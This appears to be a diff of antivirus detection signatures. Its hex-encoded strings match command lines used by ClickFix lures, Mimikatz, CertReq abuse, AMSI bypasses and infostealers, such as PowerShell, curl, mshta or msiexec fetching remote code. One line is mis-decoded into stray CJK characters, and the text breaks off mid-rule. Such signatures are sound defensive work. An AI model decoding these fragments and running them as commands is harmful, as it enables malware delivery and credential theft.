+ condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110) >=4 + +} +rule _InfrastructureShared_27640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 63 65 64 49 44 4c 6f 61 64 65 72 00 01 00 18 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 01 00 04 00 23 00 31 00 01 00 08 00 2e 00 64 00 61 00 74 00 01 00 } //21283 - $a_00_1 = {22 00 01 00 04 00 2d 00 2d 00 00 00 d7 69 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 73 6b 72 6f 76 2e 41 00 01 00 41 02 72 00 65 00 67 00 73 } //4 - $a_00_3 = {90 02 20 20 00 2f 00 75 00 20 00 90 02 20 20 00 2f 00 69 00 3a 00 90 02 60 20 00 73 00 63 00 72 00 6f 00 62 00 6a 00 2e 00 64 00 6c 00 6c 00 90 00 00 } //51 - $a_00_4 = {00 01 00 01 00 01 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 6b 6c 61 6d 69 2e 45 00 01 00 3c 00 2f 00 73 00 20 00 2f 00 6b 00 72 00 20 00 2f 00 73 00 69 00 74 00 65 00 5f 00 69 00 64 00 3d 00 37 00 35 00 34 00 20 00 2f 00 73 00 70 00 69 00 20 00 2f 00 61 00 64 00 70 00 20 00 00 } //-10496 + $a_00_1 = {22 00 01 00 04 00 2d 00 2d 00 00 00 d7 68 00 00 6e 00 6e 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 45 21 4d 54 42 00 64 00 1e } //4 + $a_00_3 = {72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 65 00 63 00 68 00 6f 00 0a 00 16 00 70 00 61 00 75 00 73 00 65 00 3b 00 20 00 65 00 63 00 68 00 6f 00 00 00 d7 69 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 73 6b 72 6f 76 2e 41 00 01 00 41 02 72 00 65 00 67 00 73 00 76 } //119 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*4+(#a_00_3 & 1)*51+(#a_00_4 & 1)*-10496) >=4 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*4+(#a_00_3 & 1)*119) >=4 } -rule _InfrastructureShared_26198{ +rule _InfrastructureShared_27641{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 45 21 4d 54 42 00 64 00 1e 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 65 00 63 00 68 00 6f 00 0a 00 16 00 70 00 61 00 75 00 73 00 } //21283 + $a_00_1 = {20 00 65 00 63 00 68 00 6f 00 00 00 d7 69 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 73 6b 72 6f 76 2e 41 00 01 00 41 02 72 00 65 00 67 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101) >=110 + +} +rule _InfrastructureShared_27642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342880,7 +361692,7 @@ rule _InfrastructureShared_26198{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26199{ +rule _InfrastructureShared_27643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342890,19 +361702,30 @@ rule _InfrastructureShared_26199{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26200{ +rule _InfrastructureShared_27644{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 6c 69 63 6b 46 69 78 2e 41 00 01 00 08 00 65 00 63 00 68 00 6f 00 01 00 1b 02 62 00 61 00 73 00 65 00 36 00 34 00 20 00 2d 00 64 00 90 02 3c 73 00 68 00 90 00 9c ff 14 00 63 00 68 00 6f } //21283 + $a_00_2 = {74 00 65 00 79 00 00 00 d7 69 00 00 03 00 03 00 04 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 6d 69 6b 61 74 7a 2e 58 41 00 01 00 04 00 3a 00 3a 00 01 00 0c 00 2f 00 75 00 73 00 65 00 72 00 3a 00 01 00 10 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 3a 00 fd ff } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*108) >=2 + +} +rule _InfrastructureShared_27645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 6d 69 6b 61 74 7a 2e 58 41 00 01 00 04 00 3a 00 3a 00 01 00 0c 00 2f 00 75 00 73 00 65 00 72 00 3a 00 01 00 10 00 2f 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 3a 00 fd ff 10 00 6c } //21283 $a_00_2 = {61 00 73 00 65 00 00 00 d7 6a 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 45 6d 6f 74 65 74 44 72 6f 70 70 65 64 2e 41 00 01 00 48 02 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 90 2f 15 00 5c 00 90 29 04 00 2e 00 65 00 78 00 65 00 00 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 90 2f 15 00 5c 00 90 29 04 00 2e 00 65 00 } //117 - $a_00_3 = {90 00 00 00 d7 6a 00 00 0b 00 0b 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 48 41 21 4d 54 42 00 0a 00 23 02 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 90 02 02 27 00 2c 00 27 00 27 00 29 00 90 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 } //120 + $a_00_3 = {90 00 00 00 d7 6a 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 59 21 4d 54 42 00 01 00 16 00 7c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 2e 00 74 00 78 00 74 00 01 } //120 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_00_3 & 1)*120) >=3 } -rule _InfrastructureShared_26201{ +rule _InfrastructureShared_27646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342912,29 +361735,52 @@ rule _InfrastructureShared_26201{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26202{ +rule _InfrastructureShared_27647{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 48 41 21 4d 54 42 00 0a 00 23 02 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 90 02 02 27 00 2c 00 27 00 27 00 29 00 90 00 01 00 14 00 70 00 6f 00 } //21283 - $a_00_1 = {72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 6a 00 00 64 00 64 00 02 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 4f 4c 42 41 53 5f 43 65 72 74 52 65 71 00 32 00 0e 00 63 00 65 00 72 00 74 00 72 00 65 00 71 00 32 00 28 02 2d 00 70 00 6f 00 73 00 74 00 20 00 90 02 10 3a 00 2f 00 } //119 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 59 21 4d 54 42 00 01 00 16 00 7c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 2e 00 74 00 } //21283 + $a_00_1 = {01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 6a 00 00 64 00 64 00 02 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 4f 4c 42 41 53 5f 43 65 72 74 52 65 71 00 32 00 0e 00 63 00 65 00 72 00 74 00 72 00 65 00 71 00 32 00 28 02 2d 00 70 00 6f 00 73 00 74 00 20 00 90 02 10 3a 00 2f 00 2f 00 90 02 40 20 00 90 01 01 3a 00 5c 00 90 } //120 + $a_00_2 = {90 00 00 00 d7 6a 00 00 66 00 66 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 4a 21 } //16386 + $a_00_3 = {01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 64 00 22 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 77 00 20 00 68 00 00 00 d7 6b } //21581 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*119) >=11 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*120+(#a_00_2 & 1)*16386+(#a_00_3 & 1)*21581) >=4 } -rule _InfrastructureShared_26203{ +rule _InfrastructureShared_27648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 02 00 21 " strings : $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 4f 4c 42 41 53 5f 43 65 72 74 52 65 71 00 32 00 0e 00 63 00 65 00 72 00 74 00 72 00 65 00 71 00 32 00 28 02 2d 00 70 00 6f 00 73 00 74 00 20 00 90 02 10 3a 00 } //21539 - $a_00_1 = {90 02 40 20 00 90 01 01 3a 00 5c 00 90 02 40 2e 00 90 00 00 00 d7 6c 00 00 03 00 03 00 01 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 } //47 + $a_00_1 = {90 02 40 20 00 90 01 01 3a 00 5c 00 90 02 40 2e 00 90 00 00 00 d7 6a 00 00 66 00 66 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //47 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*47) >=100 } -rule _InfrastructureShared_26204{ +rule _InfrastructureShared_27649{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,66 00 66 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 4a 21 4d 54 42 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 64 00 22 00 7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 } //21283 + $a_00_1 = {6c 00 20 00 2d 00 77 00 20 00 68 00 00 00 d7 6b 00 00 02 00 02 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 66 6f 73 74 65 61 6c 65 72 2e 52 58 48 21 4d 54 42 00 02 00 38 00 5b 00 53 00 63 00 72 00 65 00 65 00 6e 00 73 00 68 00 6f 00 74 00 5d 00 3a 00 3a 00 43 00 61 00 70 00 74 00 75 00 72 00 65 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101) >=102 + +} +rule _InfrastructureShared_27650{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 66 6f 73 74 65 61 6c 65 72 2e 52 58 48 21 4d 54 42 00 02 00 38 00 5b 00 53 00 63 00 72 00 65 00 65 00 6e 00 73 00 68 00 6f 00 74 00 5d 00 3a 00 3a 00 43 00 61 00 70 00 74 00 75 00 72 } //21283 牔橯湡场湩㈳䤯普獯整污牥刮䡘䴡䉔Ȁ㠀嬀匀挀爀攀攀渀猀栀漀琀崀㨀㨀䌀愀瀀琀甀爀 + condition: + ((#a_46_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_27651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " @@ -342944,7 +361790,7 @@ rule _InfrastructureShared_26204{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_26205{ +rule _InfrastructureShared_27652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -342955,19 +361801,32 @@ rule _InfrastructureShared_26205{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110) >=3 } -rule _InfrastructureShared_26206{ +rule _InfrastructureShared_27653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " strings : $a_4c_0 = {4b 69 6c 6c 53 65 63 72 53 65 72 76 2e 42 21 69 62 74 00 0a 00 06 00 70 73 6b 69 6c 6c 01 00 15 00 73 65 63 75 72 69 74 79 68 65 61 6c 74 68 73 65 72 76 69 63 65 01 00 15 00 73 65 63 75 72 69 74 79 68 65 61 } //21539 - $a_73_1 = {73 74 72 61 79 01 00 0b 00 73 6d 61 72 74 73 63 72 65 65 6e 00 00 d7 6d 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 63 72 69 70 74 46 72 6f 6d 44 69 73 63 6f 72 64 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 24 00 63 00 64 00 6e 00 2e } //29804 - $a_00_3 = {6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 00 00 d7 6d 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 61 77 6e 56 62 73 2e 44 42 21 4d 54 42 00 01 00 08 00 2e 00 6c 00 6e 00 6b 00 0a 00 26 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 } //115 + $a_73_1 = {73 74 72 61 79 01 00 0b 00 73 6d 61 72 74 73 63 72 65 65 6e 00 00 d7 6c 00 00 a0 00 a0 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 45 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 0c 00 49 00 60 00 45 00 60 00 } //29804 + $a_00_2 = {0a 00 14 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 27 00 00 00 d7 6d 00 00 02 00 02 00 02 00 21 23 53 4c } //88 + $a_72_3 = {6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 63 72 69 70 74 46 72 6f 6d 44 69 73 63 6f 72 64 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 24 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 } //14918 condition: - ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*29804+(#a_00_3 & 1)*115) >=11 + ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*29804+(#a_00_2 & 1)*88+(#a_72_3 & 1)*14918) >=11 } -rule _InfrastructureShared_26207{ +rule _InfrastructureShared_27654{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa0 00 ffffffa0 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 45 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 0c 00 49 00 60 00 45 00 60 00 58 00 28 00 0a 00 14 00 2e 00 } //21283 + $a_00_1 = {70 00 6c 00 61 00 63 00 65 00 28 00 27 00 00 00 d7 6d 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 53 63 72 69 70 74 46 72 6f 6d 44 69 73 63 6f 72 64 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 24 00 63 00 64 00 6e 00 2e 00 64 00 } //114 + $a_00_2 = {63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 00 00 d7 6d 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 61 77 6e 56 62 73 2e 44 42 21 4d 54 42 00 01 00 08 00 2e 00 6c 00 6e 00 6b 00 0a 00 26 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 } //105 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*105) >=160 + +} +rule _InfrastructureShared_27655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -342977,7 +361836,7 @@ rule _InfrastructureShared_26207{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_26208{ +rule _InfrastructureShared_27656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -342989,32 +361848,111 @@ rule _InfrastructureShared_26208{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*114+(#a_00_2 & 1)*32) >=12 } -rule _InfrastructureShared_26209{ +rule _InfrastructureShared_27657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,36 01 36 01 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 6f 74 79 2e 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 64 00 08 00 2f 00 77 00 20 00 31 00 64 00 06 00 2f 00 63 00 20 00 0a 00 } //21539 - $a_00_1 = {27 00 27 00 76 00 20 00 0a 00 0a 00 67 00 27 00 27 00 76 00 20 00 00 00 d7 6f 00 00 03 00 02 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 75 73 6f 70 6c 69 64 65 2e 42 00 01 00 0a 00 72 00 75 00 6c 00 65 00 72 00 01 00 18 00 66 00 6f 00 72 00 6d 00 20 00 61 00 64 00 64 00 2d 00 63 00 6f 00 6d 00 01 00 19 02 2d 00 2d } //10 - $a_00_3 = {90 02 30 2e 00 64 00 6c 00 6c 00 90 00 00 00 d7 6f 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 54 } //108 - $a_61_4 = {44 6f 77 6e 6c 6f 61 64 65 72 3a 4a 53 2f 53 4c 6f 61 64 2e 53 41 00 0a 00 23 02 77 00 73 00 63 00 72 00 69 00 70 00 74 00 90 02 90 2e 00 6a 00 73 00 90 23 01 05 09 20 22 27 5c 00 90 00 0a 00 19 02 77 73 63 72 69 70 74 90 02 90 2e 6a 73 90 23 01 05 09 20 22 27 5c 00 90 00 00 00 d7 6f 00 00 c9 00 c9 00 04 00 21 23 53 } //28530 + $a_00_1 = {27 00 27 00 76 00 20 00 0a 00 0a 00 67 00 27 00 27 00 76 00 20 00 00 00 d7 6e 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 59 21 4d 54 42 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 01 00 20 00 68 00 74 00 74 00 70 00 27 00 2b } //10 + $a_00_3 = {27 00 2f 00 27 00 2b 00 27 00 2f 00 00 00 d7 6e 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f } //39 + $a_69_4 = {79 70 61 7a 7a 2e 47 47 44 21 4d 54 42 00 01 00 0e 00 3b 00 69 00 65 00 78 00 20 00 28 00 24 00 01 00 06 00 27 00 2b 00 27 00 01 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 02 00 50 00 24 00 90 00 00 00 00 00 d7 6e 00 00 07 00 07 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 } //27969 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10+(#a_00_3 & 1)*108+(#a_61_4 & 1)*28530) >=310 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10+(#a_00_3 & 1)*39+(#a_69_4 & 1)*27969) >=310 } -rule _InfrastructureShared_26210{ +rule _InfrastructureShared_27658{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 59 21 4d 54 42 00 01 00 1a 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 01 00 20 00 68 00 74 00 74 00 70 00 27 00 2b 00 } //21283 + $a_00_1 = {27 00 2b 00 27 00 2f 00 27 00 2b 00 27 00 2f 00 00 00 d7 6e 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e } //39 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*39) >=2 + +} +rule _InfrastructureShared_27659{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 47 47 44 21 4d 54 42 00 01 00 0e 00 3b 00 69 00 65 00 78 00 20 00 28 00 24 00 01 00 06 00 27 00 2b 00 27 00 01 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 } //21283 + $a_00_1 = {6c 00 6c 00 90 00 02 00 50 00 24 00 90 00 00 00 00 00 d7 6e 00 00 07 00 07 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 52 48 42 21 4d 54 42 00 02 00 12 00 49 00 65 00 58 00 28 00 24 00 28 00 69 00 65 00 58 00 03 00 18 00 42 00 61 00 53 00 65 00 36 00 34 } //104 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104) >=3 + +} +rule _InfrastructureShared_27660{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 52 48 42 21 4d 54 42 00 02 00 12 00 49 00 65 00 58 00 28 00 24 00 28 00 69 00 65 00 58 00 03 00 18 00 42 00 61 00 53 00 65 00 36 00 34 00 73 00 54 00 72 00 69 00 } //21283 + $a_00_1 = {02 00 0c 00 5b 00 63 00 48 00 41 00 52 00 5d 00 00 00 d7 6e 00 00 6e 00 6e 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 54 21 4d 54 42 00 64 00 26 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110) >=7 + +} +rule _InfrastructureShared_27661{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 54 21 4d 54 42 00 64 00 26 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 0a 00 14 00 } //21283 + $a_00_1 = {73 00 69 00 20 00 2f 00 71 00 6e 00 20 00 26 00 00 00 d7 6e 00 00 6f 00 6f 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 18 00 29 00 7c 00 26 00 28 00 67 00 61 00 6c 00 20 00 69 } //46 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46) >=110 + +} +rule _InfrastructureShared_27662{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 18 00 29 00 7c 00 26 00 28 00 67 00 61 00 6c 00 20 00 69 00 } //21283 + $a_00_1 = {29 00 01 00 0a 00 2d 00 6a 00 6f 00 69 00 6e 00 00 00 d7 6f 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 48 41 21 4d 54 42 00 01 00 0a 00 6d 00 68 00 73 00 74 00 61 00 01 00 31 02 68 00 74 00 74 00 } //42 + $a_00_2 = {2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2f 00 90 02 20 2e 00 68 00 74 00 6d 00 6c 00 90 00 00 00 d7 6f 00 00 03 00 02 00 03 00 21 23 41 4c 46 3a 45 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*42+(#a_00_2 & 1)*112) >=111 + +} +rule _InfrastructureShared_27663{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 48 41 21 4d 54 42 00 01 00 0a 00 6d 00 68 00 73 00 74 00 61 00 01 00 31 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 06 2e 00 90 02 06 2e 00 90 02 06 2e } //21283 + $a_06_1 = {2f 00 } //-28672 / + condition: + ((#a_46_0 & 1)*21283+(#a_06_1 & 1)*-28672) >=2 + +} +rule _InfrastructureShared_27664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 02 00 03 00 21 " strings : $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 75 73 6f 70 6c 69 64 65 2e 42 00 01 00 0a 00 72 00 75 00 6c 00 65 00 72 00 01 00 18 00 66 00 6f 00 72 00 6d 00 20 00 61 00 64 00 64 00 2d 00 63 00 6f 00 6d 00 01 00 19 02 2d 00 2d 00 } //16675 - $a_00_1 = {6c 00 20 00 90 02 30 2e 00 64 00 6c 00 6c 00 90 00 00 00 d7 6f 00 00 0a 00 0a 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4a 53 2f 53 4c 6f 61 64 2e 53 41 00 0a 00 23 02 77 00 73 00 63 00 72 00 69 00 70 00 74 00 90 02 90 2e 00 6a 00 73 00 90 23 01 05 09 20 22 27 5c 00 90 00 0a 00 19 02 77 } //100 - $a_69_2 = {74 90 02 90 2e 6a 73 90 23 01 05 09 20 22 27 5c 00 90 00 00 00 d7 6f 00 00 c9 00 c9 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 